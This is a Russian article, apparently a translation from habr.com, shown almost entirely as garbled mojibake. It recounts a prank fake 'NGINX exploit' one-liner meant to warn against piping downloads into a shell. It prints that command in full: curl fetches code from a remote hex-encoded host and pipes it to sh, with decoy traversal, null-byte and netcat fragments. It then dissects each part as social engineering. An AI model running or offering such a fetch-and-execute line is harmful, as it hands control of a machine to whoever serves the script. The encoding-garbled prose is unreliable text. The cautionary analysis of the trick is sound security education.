ΠΡΠΈΠΌ. ΠΏΠ΅ΡΠ΅Π².:
TL;DR: Π½ΠΈ Π² ΠΊΠΎΠ΅ΠΌ ΡΠ»ΡΡΠ°Π΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅ΡΠΈΠ·Π°ΡΠΈΡ ΡΠ°ΠΉΠ»ΠΎΠ² Π² sh ΠΈΠ»ΠΈ bash. ΠΡΠΎ ΠΎΡΠ»ΠΈΡΠ½ΡΠΉ ΡΠΏΠΎΡΠΎΠ± ΡΡΡΠ°ΡΠΈΡΡ ΠΊΠΎΠ½ΡΡΠΎΠ»Ρ Π½Π°Π΄ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠΎΠΌ.
Π₯ΠΎΡΡ ΠΏΠΎΠ΄Π΅Π»ΠΈΡΡΡΡ Ρ Π²Π°ΠΌΠΈ Π½Π΅Π±ΠΎΠ»ΡΡΠΎΠΉ ΠΈΡΡΠΎΡΠΈΠ΅ΠΉ ΠΎ ΡΡΡΠΎΡΠ½ΠΎΠΌ PoC-ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ΅, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ» ΡΠΎΠ·Π΄Π°Π½ 31 ΠΌΠ°Ρ. ΠΠ½ ΠΏΠΎΡΠ²ΠΈΠ»ΡΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΎ Π² ΠΎΡΠ²Π΅Ρ Π½Π° Π½ΠΎΠ²ΠΎΡΡΡ ΠΎΡ
ΠΠ°ΠΊΠΎΠ½ΡΠΈΠ² ΡΠ°Π±ΠΎΡΡ Π½Π°Π΄ Π½ΠΎΠ²ΠΎΠΉ ΡΠ΅Ρ Π½ΠΈΠΊΠΎΠΉ ΠΎΠ±ΡΡΡΠΊΠ°ΡΠΈΠΈ Π² curl, Ρ ΠΏΡΠΎΡΠΈΡΠΈΡΠΎΠ²Π°Π» ΠΎΡΠΈΠ³ΠΈΠ½Π°Π»ΡΠ½ΡΠΉ ΡΠ²ΠΈΡ ΠΈ Β«ΡΠ»ΠΈΠ» ΡΠ°Π±ΠΎΡΠΈΠΉ PoCΒ», ΡΠΎΡΡΠΎΡΡΠΈΠΉ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ ΠΊΠΎΠ΄Π°, ΡΠΊΠΎΠ±Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΠ΅ΠΉ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½Π½ΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ. ΠΠΎΠ½Π΅ΡΠ½ΠΎ, ΡΡΠΎ Π±ΡΠ»Π° ΠΏΠΎΠ»Π½Π°Ρ Π΅ΡΡΠ½Π΄Π°. Π― ΠΏΠΎΠ»Π°Π³Π°Π», ΡΡΠΎ ΠΌΠ΅Π½Ρ ΡΡΠ°Π·Ρ Π²ΡΠ²Π΅Π΄ΡΡ Π½Π° ΡΠΈΡΡΡΡ Π²ΠΎΠ΄Ρ, ΠΈ ΡΡΠΎ Π² Π»ΡΡΡΠ΅ΠΌ ΡΠ»ΡΡΠ°Π΅ Ρ ΠΏΠΎΠ»ΡΡΡ ΠΏΠ°ΡΡ ΡΠ΅ΡΠ²ΠΈΡΠΎΠ² (Π½Ρ ΠΈ Π»Π°Π΄Π½ΠΎ).
ΠΠ΄Π½Π°ΠΊΠΎ Ρ Π½Π΅ ΠΌΠΎΠ³ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΠΈΡΡ ΡΠ΅Π±Π΅ ΡΠΎΠ³ΠΎ, ΡΡΠΎ ΠΏΡΠΎΠΈΠ·ΠΎΡΠ»ΠΎ Π΄Π°Π»ΡΡΠ΅. ΠΠΎΠΏΡΠ»ΡΡΠ½ΠΎΡΡΡ ΠΌΠΎΠ΅Π³ΠΎ ΡΠ²ΠΈΡΠ° Π²Π·Π»Π΅ΡΠ΅Π»Π° Π΄ΠΎ Π½Π΅Π±Π΅Ρ. Π£Π΄ΠΈΠ²ΠΈΡΠ΅Π»ΡΠ½ΠΎ, Π½ΠΎ Π½Π° Π΄Π°Π½Π½ΡΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ (15:00 ΠΠ‘Π 1 ΠΈΡΠ½Ρ) Π΄ΠΎ ΡΠΈΡ ΠΏΠΎΡ ΠΌΠ°Π»ΠΎ ΠΊΡΠΎ ΠΎΡΠΎΠ·Π½Π°Π», ΡΡΠΎ ΡΡΠΎ ΡΠ°Π»ΡΡΠΈΠ²ΠΊΠ°. ΠΠ½ΠΎΠ³ΠΈΠ΅ ΡΠ΅ΡΠ²ΠΈΡΡΡ Π΅Π³ΠΎ Π²ΠΎΠΎΠ±ΡΠ΅ Π±Π΅Π· ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ (Π½Π΅ Π³ΠΎΠ²ΠΎΡΡ ΡΠΆΠ΅ ΠΎ ΡΠΎΠΌ, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΠ±ΠΎΠ²Π°ΡΡΡΡ ΠΏΡΠ΅Π»Π΅ΡΡΠ½ΠΎΠΉ ASCII-Π³ΡΠ°ΡΠΈΠΊΠΎΠΉ, ΠΊΠΎΡΠΎΡΡΡ ΠΎΠ½ Π²ΡΠ²ΠΎΠ΄ΠΈΡ).
Π’ΠΎΠ»ΡΠΊΠΎ ΠΏΠΎΡΠΌΠΎΡΡΠΈΡΠ΅, ΠΊΠ°ΠΊΠ°Ρ ΠΊΡΠ°ΡΠΎΡΠ°!
Π₯ΠΎΡΡ Π²ΡΠ΅ ΡΡΠΈ ΡΠΈΠΊΠ»Ρ ΠΈ ΡΠ²Π΅ΡΠ° Π·Π°ΠΌΠ΅ΡΠ°ΡΠ΅Π»ΡΠ½Ρ, ΠΏΠΎΠ½ΡΡΠ½ΠΎΠ΅ Π΄Π΅Π»ΠΎ: ΡΡΠΎΠ±Ρ ΠΈΡ ΡΠ²ΠΈΠ΄Π΅ΡΡ, Π»ΡΠ΄ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ»ΠΈ ΠΊΠΎΠ΄ Π½Π° ΡΠ²ΠΎΠ΅ΠΉ ΠΌΠ°ΡΠΈΠ½Π΅. Π ΡΡΠ°ΡΡΡΡ, Π±ΡΠ°ΡΠ·Π΅ΡΡ ΡΠ°Π±ΠΎΡΠ°ΡΡ Π°Π½Π°Π»ΠΎΠ³ΠΈΡΠ½ΠΎ, ΠΈ Π² ΡΠΎΡΠ΅ΡΠ°Π½ΠΈΠΈ Ρ ΡΠ°ΠΊΡΠΎΠΌ, ΡΡΠΎ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ Ρ Π·Π°ΠΊΠΎΠ½ΠΎΠΌ ΠΌΠ½Π΅ Π²ΠΎΠ²ΡΠ΅ Π½Π΅ Π½ΡΠΆΠ½Ρ, ΠΊΠΎΠ΄, Π·Π°ΠΏΡΡΡΠ°Π½Π½ΡΠΉ Π² ΠΌΠΎΠ΅ΠΌ ΡΠ°ΠΉΡΠ΅, Π²ΡΠ΅Π³ΠΎ Π»ΠΈΡΡ Π΄Π΅Π»Π°Π» Π²ΡΠ·ΠΎΠ²Ρ echo, Π½Π΅ ΠΏΡΡΠ°ΡΡΡ ΡΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°ΡΡ ΠΈΠ»ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΠΊΠ°ΠΊΠΎΠΉ Π±Ρ ΡΠΎ Π½ΠΈ Π±ΡΠ»ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠΉ ΠΊΠΎΠ΄.
ΠΠ΅Π±ΠΎΠ»ΡΡΠΎΠ΅ ΠΎΡΡΡΡΠΏΠ»Π΅Π½ΠΈΠ΅:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Π‘ΠΎΡΠΈΠΎ-ΡΠ»Π΅ΠΊΡΡΠΎΠ½Π½Π°Ρ ΠΈΠ½ΠΆΠ΅Π½Π΅ΡΠΈΡ (S.E.E.) β Π±ΠΎΠ»ΡΡΠ΅, ΡΠ΅ΠΌ ΠΏΡΠΎΡΡΠΎ ΡΠΈΡΠΈΠ½Π³
ΠΠ΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΡ ΠΈ ΠΏΡΠΈΠ²ΡΡΠ½ΠΎΡΡΡ Π±ΡΠ»ΠΈ ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠΉ ΡΠ°ΡΡΡΡ ΡΡΠΎΠ³ΠΎ ΡΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠ°. ΠΡΠΌΠ°Ρ, ΠΈΠΌΠ΅Π½Π½ΠΎ ΠΎΠ½ΠΈ ΠΏΡΠΈΠ²Π΅Π»ΠΈ ΠΊ Π΅Π³ΠΎ ΡΡΠΏΠ΅Ρ Ρ. ΠΠΎΠΌΠ°Π½Π΄Π½Π°Ρ ΡΡΡΠΎΠΊΠ° ΡΠ²Π½ΠΎ ΠΏΠΎΠ΄ΡΠ°Π·ΡΠΌΠ΅Π²Π°Π»Π° Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΡ, ΡΡΡΠ»Π°ΡΡΡ Π½Π° Β«127.0.0.1Β» (Π²ΡΠ΅ΠΌ ΠΈΠ·Π²Π΅ΡΡΠ½ΡΠΉ localhost). Π‘ΡΠΈΡΠ°Π΅ΡΡΡ, ΡΡΠΎ localhost Π±Π΅Π·ΠΎΠΏΠ°ΡΠ΅Π½, Π° Π΄Π°Π½Π½ΡΠ΅ Π½Π° Π½Π΅ΠΌ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΠΎΠΊΠΈΠ΄Π°ΡΡ Π²Π°Ρ ΠΊΠΎΠΌΠΏΡΡΡΠ΅Ρ.
ΠΡΠΈΠ²ΡΡΠ½ΠΎΡΡΡ Π±ΡΠ»Π° Π²ΡΠΎΡΡΠΌ ΠΊΠ»ΡΡΠ΅Π²ΡΠΌ S.E.E.-ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΎΠΌ ΡΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠ°. ΠΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΡΠ΅Π»Π΅Π²Π°Ρ Π°ΡΠ΄ΠΈΡΠΎΡΠΈΡ ΠΏΡΠ΅ΠΈΠΌΡΡΠ΅ΡΡΠ²Π΅Π½Π½ΠΎ ΡΠΎΡΡΠΎΡΠ»Π° ΠΈΠ· Π»ΡΠ΄Π΅ΠΉ, Π·Π½Π°ΠΊΠΎΠΌΡΡ Ρ ΠΎΡΠ½ΠΎΠ²Π°ΠΌΠΈ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΠ½ΠΎΠΉ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ, Π²Π°ΠΆΠ½ΠΎ Π±ΡΠ»ΠΎ ΡΠΎΠ·Π΄Π°ΡΡ ΡΠ°ΠΊΠΎΠΉ ΠΊΠΎΠ΄, ΡΡΠΎΠ±Ρ Π΅Π³ΠΎ ΡΠ°ΡΡΠΈ ΠΊΠ°Π·Π°Π»ΠΈΡΡ Π·Π½Π°ΠΊΠΎΠΌΡΠΌΠΈ ΠΈ ΠΏΡΠΈΠ²ΡΡΠ½ΡΠΌΠΈ (Π° ΠΏΠΎΡΠΎΠΌΡ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΡΠΌΠΈ). ΠΠ°ΠΈΠΌΡΡΠ²ΠΎΠ²Π°Π½ΠΈΠ΅ ΡΠ»Π΅ΠΌΠ΅Π½ΡΠΎΠ² ΡΡΠ°ΡΡΡ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ-ΠΊΠΎΠ½ΡΠ΅ΠΏΡΠΈΠΉ ΠΈ ΠΈΡ ΠΊΠΎΠΌΠ±ΠΈΠ½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π΅ΠΎΠ±ΡΡΠ½ΡΠΌ ΡΠΏΠΎΡΠΎΠ±ΠΎΠΌ ΠΎΠΊΠ°Π·Π°Π»ΠΎΡΡ Π²Π΅ΡΡΠΌΠ° ΡΡΠΏΠ΅ΡΠ½ΡΠΌ.
ΠΠΈΠΆΠ΅ ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΡΠΉ ΡΠ°Π·Π±ΠΎΡ ΠΎΠ΄Π½ΠΎΡΡΡΠΎΡΠ½ΠΈΠΊΠ°. ΠΡΠ΅ Π² ΡΡΠΎΠΌ ΡΠΏΠΈΡΠΊΠ΅ Π½ΠΎΡΠΈΡ ΠΊΠΎΡΠΌΠ΅ΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Ρ Π°ΡΠ°ΠΊΡΠ΅Ρ, Π° Π΄Π»Ρ Π΅Π³ΠΎ ΡΠ΅Π°Π»ΡΠ½ΠΎΠΉ ΡΠ°Π±ΠΎΡΡ ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈ Π½ΠΈΡΠ΅Π³ΠΎ Π½Π΅ ΡΡΠ΅Π±ΡΠ΅ΡΡΡ.
ΠΠ°ΠΊΠΈΠ΅ ΠΆΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ Π΄Π΅ΠΉΡΡΠ²ΠΈΡΠ΅Π»ΡΠ½ΠΎ Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΡ? ΠΡΠΎ -gsS
, -O 0x0238f06a
, |sh
ΠΈ ΡΠ°ΠΌ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅Ρ. ΠΠ΅Π±-ΡΠ΅ΡΠ²Π΅Ρ Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠ°Π» Π½ΠΈΠΊΠ°ΠΊΠΈΡ
Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½Π½ΡΡ
ΠΈΠ½ΡΡΡΡΠΊΡΠΈΠΉ, Π° ΠΏΡΠΎΡΡΠΎ ΠΏΠ΅ΡΠ΅Π΄Π°Π²Π°Π» ASCII-Π³ΡΠ°ΡΠΈΠΊΡ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ echo
Π² ΡΠΊΡΠΈΠΏΡΠ΅, ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠ΅ΠΌΡΡ Π² index.html
. ΠΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ Π²Π²ΠΎΠ΄ΠΈΠ» ΡΡΡΠΎΠΊΡ Ρ |sh
Π² ΡΠ΅ΡΠ΅Π΄ΠΈΠ½Π΅, index.html
Π·Π°Π³ΡΡΠΆΠ°Π»ΡΡ ΠΈ Π²ΡΠΏΠΎΠ»Π½ΡΠ»ΡΡ. Π ΡΡΠ°ΡΡΡΡ, Ρ
ΡΠ°Π½ΠΈΡΠ΅Π»ΠΈ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅ΡΠ° Π½Π΅ ΠΈΠΌΠ΅Π»ΠΈ Π·Π»ΡΡ
Π½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΠΉ.
-
../../../%00
β ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ°Π΅Ρ Π²ΡΡ ΠΎΠ΄ Π·Π° ΠΏΡΠ΅Π΄Π΅Π»Ρ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈ; -
ngx_stream_module.so
β ΠΏΡΡΡ ΠΊ ΡΠ»ΡΡΠ°ΠΉΠ½ΠΎΠΌΡ ΠΌΠΎΠ΄ΡΠ»Ρ NGINX; -
/bin/sh%00<'protocol:TCP'
β ΠΌΡ ΡΠΊΠΎΠ±Ρ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΠΌ/bin/sh
Π½Π° ΡΠ΅Π»Π΅Π²ΠΎΠΉ ΠΌΠ°ΡΠΈΠ½Π΅ ΠΈ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»ΡΠ΅ΠΌ Π²ΡΠ²ΠΎΠ΄ Π² TCP-ΠΊΠ°Π½Π°Π»; -
-O 0x0238f06a#PLToffset
β ΡΠ΅ΠΊΡΠ΅ΡΠ½ΡΠΉ ΠΈΠ½Π³ΡΠ΅Π΄ΠΈΠ΅Π½Ρ, Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½Π½ΡΠΉ#PLToffset
, ΡΡΠΎΠ±Ρ Π²ΡΠ³Π»ΡΠ΄Π΅ΡΡ ΠΊΠ°ΠΊ ΡΠΌΠ΅ΡΠ΅Π½ΠΈΠ΅ ΠΏΠ°ΠΌΡΡΠΈ, ΠΊΠ°ΠΊΠΈΠΌ-ΡΠΎ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠ΅Π΅ΡΡ Π² PLT; -
|sh;
β Π΅ΡΠ΅ ΠΎΠ΄ΠΈΠ½ Π²Π°ΠΆΠ½ΡΠΉ ΡΡΠ°Π³ΠΌΠ΅Π½Ρ. ΠΠ°ΠΌ Π±ΡΠ»ΠΎ Π½ΡΠΆΠ½ΠΎ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²ΠΈΡΡ Π²ΡΠ²ΠΎΠ΄ Π² sh/bash, ΡΡΠΎΠ±Ρ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠ΄, ΠΏΠΎΡΡΡΠΏΠ°ΡΡΠΈΠΉ Ρ Π°ΡΠ°ΠΊΡΡΡΠ΅Π³ΠΎ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅ΡΠ°, ΡΠ°ΡΠΏΠΎΠ»ΠΎΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎ Π°Π΄ΡΠ΅ΡΡ0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
β ΠΏΡΡΡΡΡΠΊΠ°, Π² ΠΊΠΎΡΠΎΡΠΎΠΉ netcat ΡΡΡΠ»Π°Π΅ΡΡΡ Π½Π°/dev/tcp/localhost
, ΡΡΠΎΠ±Ρ Π²ΡΠ΅ ΠΎΠΏΡΡΡ Π²ΡΠ³Π»ΡΠ΄Π΅Π»ΠΎ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎ. ΠΠ° ΡΠ°ΠΌΠΎΠΌ ΠΆΠ΅ Π΄Π΅Π»Π΅, Π½ΠΈΡΠ΅Π³ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ ΠΈ Π²ΠΊΠ»ΡΡΠ΅Π½ Π² ΡΡΡΠΎΠΊΡ Π΄Π»Ρ ΠΊΡΠ°ΡΠΎΡΡ.
ΠΠ° ΡΡΠΎΠΌ Π·Π°ΠΊΠ°Π½ΡΠΈΠ²Π°ΡΡΡΡ ΡΠ°ΡΡΠΈΡΡΠΎΠ²ΠΊΠ° ΠΎΠ΄Π½ΠΎΡΡΡΠΎΡΠ½ΠΎΠ³ΠΎ ΡΠΊΡΠΈΠΏΡΠ° ΠΈ ΠΎΠ±ΡΡΠΆΠ΄Π΅Π½ΠΈΠ΅ Π°ΡΠΏΠ΅ΠΊΡΠΎΠ² Β«ΡΠΎΡΠΈΠΎ-ΡΠ»Π΅ΠΊΡΡΠΎΠ½Π½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅ΡΠΈΠΈΒ» (Π·Π°ΡΠ΅ΠΉΠ»ΠΈΠ²ΠΎΠ³ΠΎ ΡΠΈΡΠΈΠ½Π³Π°).
ΠΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅ΡΠ° ΠΈ ΠΌΠ΅ΡΡ ΠΏΡΠΎΡΠΈΠ²ΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΡ
ΠΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΠΏΠΎΠ΄Π°Π²Π»ΡΡΡΠ΅Π΅ Π±ΠΎΠ»ΡΡΠΈΠ½ΡΡΠ²ΠΎ ΠΌΠΎΠΈΡ ΠΏΠΎΠ΄ΠΏΠΈΡΡΠΈΠΊΠΎΠ² β ΠΈΠ½ΡΠΎΠ±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΈΠΊΠΈ/Ρ Π°ΠΊΠ΅ΡΡ, Ρ ΡΠ΅ΡΠΈΠ» ΡΠ΄Π΅Π»Π°ΡΡ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅Ρ ΡΡΡΡ Π±ΠΎΠ»Π΅Π΅ ΡΡΡΠΎΠΉΡΠΈΠ²ΡΠΌ ΠΊ ΠΏΡΠΎΡΠ²Π»Π΅Π½ΠΈΡΠΌ Β«ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ°Β» Ρ ΠΈΡ ΡΡΠΎΡΠΎΠ½Ρ ΠΏΡΠΎΡΡΠΎ Π΄Π»Ρ ΡΠΎΠ³ΠΎ, ΡΡΠΎΠ±Ρ ΡΠ΅Π±ΡΡΠ°ΠΌ Π±ΡΠ»ΠΎ ΡΠ΅ΠΌ Π·Π°Π½ΡΡΡΡΡ (Π΄Π° ΠΈ Π½Π°ΡΡΡΠ°ΠΈΠ²Π°ΡΡ Π΅Π³ΠΎ Π±ΡΠ»ΠΎ ΠΏΡΠΈΠΊΠΎΠ»ΡΠ½ΠΎ). Π― Π½Π΅ ΡΠΎΠ±ΠΈΡΠ°ΡΡΡ Π·Π΄Π΅ΡΡ ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»ΡΡΡ Π²ΡΠ΅ Π»ΠΎΠ²ΡΡΠΊΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΡΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½Ρ Π²ΡΠ΅ Π΅ΡΠ΅ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΡΡΡ, Π½ΠΎ Π²ΠΎΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π²Π΅ΡΠ΅ΠΉ, ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ΅ΡΠ²Π΅Ρ Π΄Π΅Π»Π°Π΅Ρ:
- ΠΠΊΡΠΈΠ²Π½ΠΎ ΠΎΡΡΠ»Π΅ΠΆΠΈΠ²Π°Π΅Ρ ΠΏΠΎΠΏΡΡΠΊΠΈ ΡΠ°ΡΠΏΡΠΎΡΡΡΠ°Π½Π΅Π½ΠΈΡ Π² ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΡ ΡΠΎΡΠΈΠ°Π»ΡΠ½ΡΡ ΡΠ΅ΡΡΡ ΠΈ ΠΏΠΎΠ΄ΡΡΠ°Π²Π»ΡΠ΅Ρ ΡΠ°Π·Π»ΠΈΡΠ½ΡΠ΅ ΠΌΠΈΠ½ΠΈΠ°ΡΡΡΡ ΠΏΡΠ΅Π΄ΠΏΡΠΎΡΠΌΠΎΡΡΠ°, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ±ΡΠ΄ΠΈΡΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ ΠΏΠ΅ΡΠ΅ΠΉΡΠΈ ΠΏΠΎ ΡΡΡΠ»ΠΊΠ΅.
- ΠΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»ΡΠ΅Ρ Chrome/Mozilla/Safari/ΠΈ Ρ. Π΄. Π½Π° ΠΏΡΠΎΠΌΠΎ-ΡΠΎΠ»ΠΈΠΊ Thugcrowd Π²ΠΌΠ΅ΡΡΠΎ ΡΠΎΠ³ΠΎ, ΡΡΠΎΠ±Ρ ΠΏΠΎΠΊΠ°Π·Π°ΡΡ ΡΠΊΡΠΈΠΏΡ shell.
- Π‘Π»Π΅Π΄ΠΈΡ Π·Π° Π―ΠΠΠ«ΠΠ ΠΏΡΠΈΠ·Π½Π°ΠΊΠ°ΠΌΠΈ Π²ΡΠΎΡΠΆΠ΅Π½ΠΈΡ/Π³ΡΡΠ±ΠΎΠ³ΠΎ Π²Π·Π»ΠΎΠΌΠ°, ΠΏΠΎΡΠ»Π΅ ΡΠ΅Π³ΠΎ Π½Π°ΡΠΈΠ½Π°Π΅Ρ ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»ΡΡΡ Π·Π°ΠΏΡΠΎΡΡ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΡ ΠΠΠ (Ρ Π°!).
- Π£ΡΡΠ°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ ΡΡΠΎΡΠ½, Π° ΡΠ°ΠΊΠΆΠ΅ BIOS rootkit Π½Π° Π²ΡΠ΅ ΠΊΠΎΠΌΠΏΡΡΡΠ΅ΡΡ, ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΠΈ ΠΊΠΎΡΠΎΡΡΡ ΠΏΠΎΡΠ΅ΡΠ°ΡΡ Ρ ΠΎΡΡ Ρ ΠΎΠ±ΡΡΠ½ΠΎΠ³ΠΎ Π±ΡΠ°ΡΠ·Π΅ΡΠ° (ΡΡΡΠΊΠ°!).
ΠΠ΅Π±ΠΎΠ»ΡΡΠ°Ρ ΡΠ°ΡΡΡ Π°Π½ΡΠΈΠΌΠ΅Ρ
Π Π΄Π°Π½Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΠΌΠΎΠ΅ΠΉ Π΅Π΄ΠΈΠ½ΡΡΠ²Π΅Π½Π½ΠΎΠΉ ΡΠ΅Π»ΡΡ Π±ΡΠ»ΠΎ ΠΎΡΠ²ΠΎΠ΅Π½ΠΈΠ΅ Π½Π΅ΠΊΠΎΡΠΎΡΡΡ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠ΅ΠΉ Apache β Π² ΡΠ°ΡΡΠ½ΠΎΡΡΠΈ, ΠΊΠ»Π΅Π²ΡΡ ΠΏΡΠ°Π²ΠΈΠ» ΠΏΠ΅ΡΠ΅Π½Π°ΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ Π·Π°ΠΏΡΠΎΡΠΎΠ², β ΠΈ Ρ ΠΏΠΎΠ΄ΡΠΌΠ°Π»: Π° ΠΏΠΎΡΠ΅ΠΌΡ Π±Ρ ΠΈ Π½Π΅Ρ?
ΠΠΊΡΠΏΠ»ΠΎΠΉΡ NGINX (Π½Π°ΡΡΠΎΡΡΠΈΠΉ!)
ΠΠΎΠ΄ΠΏΠΈΡΡΠ²Π°ΠΉΡΠ΅ΡΡ Π½Π°
ΠΡΡΠΎΡΠ½ΠΈΠΊ: habr.com